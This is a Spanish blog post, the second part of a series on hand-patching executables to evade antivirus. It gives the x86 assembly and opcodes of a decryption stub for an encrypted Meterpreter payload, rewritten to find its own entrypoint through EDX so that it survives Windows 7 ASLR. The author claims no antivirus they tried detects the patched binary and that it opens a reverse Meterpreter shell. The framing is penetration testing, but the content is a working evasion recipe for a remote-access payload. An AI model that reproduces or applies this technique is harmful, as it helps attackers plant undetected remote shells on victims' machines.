domingo, 5 de agosto de 2012

Manipulación manual de binarios para evasión de antivirus (II) ASLR


En los sistemas más modernos como Windows 7 tenemos ASLR, una protección del sistema operativo que genera de forma aleatoria 2 bytes de la dirección de memoria.Debido a esto, el binario que modificamos anteriormente en
(Manipulacion de binarios para evasión de antivirus I ) no funciona.

En nuestra rutina de descifrado tenemos las direcciones de memoria "hardcodeadas" por lo que si probamos a reiniciar, la ejecución del binario fallará por violación de acceso al utilizar esas direcciones de memoria.

Se debe tener en cuenta que ASLR afecta a los 2 primeros bytes de dirección de memoria, es decir, según las direcciones de memoria de nuestro anterior binario, sería XXXX1137 por ejemplo, siendo XXXX los bytes que cambian en cada reinicio del sistema.


rutina de descifrado:

00401137     B8 06104000      MOV EAX,met.00401006  <- Aqui es donde tenemos el problema

0040113C                      ADD BYTE PTR DS:[EAX],69

0040113F     40               INC EAX 

00401140     3D 36114000      CMP EAX,met.00401136 <- Aqui es donde tenemos el mismo problema

00401145    ^7E F5            JLE SHORT met.0040113C  

00401147     FC               CLD

00401148     E8 57FFFFFF      CALL met.004010A4

0040114D    -E9 AAFEFFFF      JMP met.00401006




Si nos fijamos en los opcodes (2º columna) vemos claramente donde estamos indicando las zonas de memoria de forma absoluta ( B8 06104000 en la primera instrucción por ej).


Para solucionar esto, debemos encontrar la forma poder hacer la misma rutina dinamicamente.Si abrimos con olydbg en win7 nuestro ejecutable con el código cifrado y la rutina de descifrado (met_xp_2.exe)
nos encontramos:



Como vemos, lo primero que hace es entrar en ntdll , si vamos avanzando pulsando F7 vemos como entra en el kernel32.BaseThreadInitThunk:

Dentro de kernel32.BaseThreadInitThunk vemos como en el registro EDX queda guardado el entrypoint de nuestro binario y con el CALL EDX entra en nuestro entrypoint :

Una vez estamos en el entrypoint de nuestro binario, podemos ver que seguimos teniendo en EDX  la dirección de nuestro entrypoint y esto vamos a poder utilizarlo para solucionar el problema de ASLR:

Lo que en este caso haremos es modificar la rutina de descifrado de la siguiente manera:

009A1141   > 8BC2       MOV EAX,EDX  <- Metemos en EAX , EDX que es el entrypoint

009A1143   . 83C0 06    ADD EAX,6 <- Sumamos 6 a EAX por lo tanto EAX = entrypoint + 6 que es donde queremos empezar a descifrar (en la otra rutina 00401006)     

009A1146                ADD BYTE PTR DS:[EAX],69 <- Sumamos 69 al contenido de EAX

009A1149   . 40         INC EAX <- Incrementamos EAX

009A114A   . 66:3D 4011 CMP AX,1136 <- Comparamos los 2 ultimos bytes del registro EAX (AX) con 1136 que es donde finaliza nuestro codigo cifrado.(XXXX1136)

009A114E   . 90         NOP  <- NOP que no hace nada

009A114F   .^7E F5      JLE SHORT sysupdat.009A1146 <- JLE para el bucle

009A116B   . FC         CLD

009A116C   E8 57FFFFFF  CALL met_7.003D10A4

009A1171   E9 B4FEFFFF  JMP met_7.003D1006

De esta forma , nos evitamos el problema del ASLR, ya no necesitamos utilizar direcciones de memoria absolutas, con haber conseguido que en EDX apunte a nuestro entrypoint, nos las hemos
apañado para conseguirlo.

Vemos como queda la rutina en Olly:

Guardamos en un nuevo fichero y ya tenemos nuestro binario de meterpreter para sistemas con ASLR.

Y por supuesto, ningún antivirus lo detecta (al menos todos los que hemos probado) y el binario se ejecuta correctamente para obtener el meterpreter reverso.

Mas adelante podremos ver como usar estos binarios de meterpreter de forma ingeniosa en auditorias de ingeniería social.

Saludos!

No hay comentarios:

Publicar un comentario